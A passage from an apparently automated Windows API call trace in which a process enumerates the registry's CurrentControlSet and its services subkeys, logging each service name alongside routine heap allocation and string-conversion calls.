cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.858] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0258.858] RegCloseKey (hKey=0x148) returned 0x0 [0258.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.858] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0258.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.859] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.859] RegCloseKey (hKey=0x14c) returned 0x0 [0258.859] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.860] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1df0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.860] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.860] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1df0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0258.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.861] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.861] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1df0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.861] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.861] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.862] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.862] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.862] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0258.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.863] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.863] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.863] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0258.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.863] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0258.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0258.864] RtlAllocateHeap 